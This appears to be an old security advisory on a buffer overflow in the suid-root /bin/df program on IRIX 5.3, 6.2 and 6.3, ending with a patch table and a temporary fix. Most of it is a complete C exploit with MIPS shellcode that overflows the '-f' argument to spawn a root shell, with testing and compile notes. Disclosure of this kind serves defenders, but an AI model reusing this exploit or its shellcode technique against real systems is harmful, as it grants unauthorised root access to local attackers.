COMMAND

    /bin/df

SYSTEMS AFFECTED

    IRIX 5.3, 6.2, 6.3

PROBLEM

    df(1) is a program used to display statistics about the amount  of
    used and free disc space on file systems.

    There appears to be a buffer overflow in /bin/df on Irix 5.3,  6.2
    and 6.3.  /bin/df is installed suid root and hence root access  is
    achievable for local users.

    The version of 'df' which  comes with Irix 6.2, whilst  having the
    buffer overflow problem, is not  vulnerable to this exploit as  it
    is compiled as a 64bit  N32 object and it is  virtually impossible
    to exploit buffer overflows in  such programs.  Note that  this is
    true only for the IRIX64 version of Irix 6.2

    This only  appears to  affect the  '-f' flag  which I doubt anyone
    ever  uses.   The  exploit  code  included  has been tested on the
    following:

        R3000 Indigo (Irix 5.3)
        R4400 Indy (Irix 5.3)
        R4400 Indigo 2, Irix 6.2
        R4600 Indy, Irix 6.2
        R5000 O2 (Irix 6.3)

    Compile with either gcc or cc. Note that you should specify one of
    '-mips3', '-mips4'  or '-n32'  to compile  on an  O2. The  default
    compile  options  result  in  a  binary which exhibits weird cache
    coherency problems and rarely works.

    Credit is due to  Yuri Volobuev for his  Irix shell code on  which
    David Hedley is based.  Exploit follows:

-------------------- cut here ----------------------------
    /* /bin/df buffer overflow exploit by DCRH */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH      1504
    #define EXTRA           700
    #define OFFSET          0x200
    #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

    #define u_long unsigned


    u_long get_sp_code[] = {
        0x03a01025,         /* move $v0,$sp         */
        0x03e00008,         /* jr $ra               */
        0x00000000,         /* nop                  */
    };

    u_long irix_shellcode[] = {
        0x24041234,         /* li $4,0x1234         */
        0x2084edcc,         /* sub $4,0x1234        */
        0x0491fffe,         /* bgezal $4,pc-4       */
        0x03bd302a,         /* sgt $6,$sp,$sp       */
        0x23e4012c,         /* addi $4,$31,264+36   */
        0xa086feff,         /* sb $6,-264+7($4)     */
        0x2084fef8,         /* sub $4,264           */
        0x20850110,         /* addi $5,$4,264+8     */
        0xaca4fef8,         /* sw $4,-264($5)       */
        0xaca6fefc,         /* sw $4,-260($5)       */
        0x20a5fef8,         /* sub $5, 264          */
        0x240203f3,         /* li $v0,1011          */
        0x03ffffcc,         /* syscall 0xfffff      */
        0x2f62696e,         /* "/bin"               */
        0x2f7368ff,         /* "/sh"                */
    };

    char buf[BUF_LENGTH + EXTRA + 8];

    void main(int argc, char **argv)
    {
        char *env[] = {NULL};
        u_long targ_addr, stack;
        u_long *long_p;
        int i, code_length = strlen((char *)irix_shellcode)+1;
        u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

        stack = get_sp();

        long_p =(u_long *)  buf;
        targ_addr = stack + OFFSET;

        if (argc > 1)
            targ_addr += atoi(argv[1]) * 4;

        while ((targ_addr & 0xff000000) == 0 ||
               (targ_addr & 0x00ff0000) == 0 ||
               (targ_addr & 0x0000ff00) == 0 ||
               (targ_addr & 0x000000ff) == 0)
            targ_addr += 4;

        for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
            *long_p++ = IRIX_NOP;

        for (i = 0; i < code_length/sizeof(u_long); i++)
            *long_p++ = irix_shellcode[i];

        for (i = 0; i < EXTRA / sizeof(u_long); i++)
            *long_p++ = (targ_addr << 16) | (targ_addr >> 16);

        *long_p = 0;

        printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

        execle("/bin/df", "df", &buf[3], 0, env);
        perror("execl failed");
    }

SOLUTION

    Patches are:

        OS Version     Vulnerable?     Patch #      Other Actions
        ----------     -----------     -------      -------------
        IRIX 3.x          unknown      not avail    Upgrade
        IRIX 4.x          unknown      not avail    Upgrade
        IRIX 5.0.x        yes          not avail    Upgrade
        IRIX 5.1.x        yes          not avail    Upgrade
        IRIX 5.2          yes          not avail    Upgrade
        IRIX 5.3          yes          2224
        IRIX 6.0.x        yes          not avail    Upgrade
        IRIX 6.1          yes          not avail    Upgrade
        IRIX 6.2          yes          2177
        IRIX 6.3          yes          2232
        IRIX 6.4          yes          2233

    The temporary fix: chmod u-s  /bin/df.  Another fix: replace  irix
    6.2 mips-2 binary with the mips-3 binary from an IRIX64 box.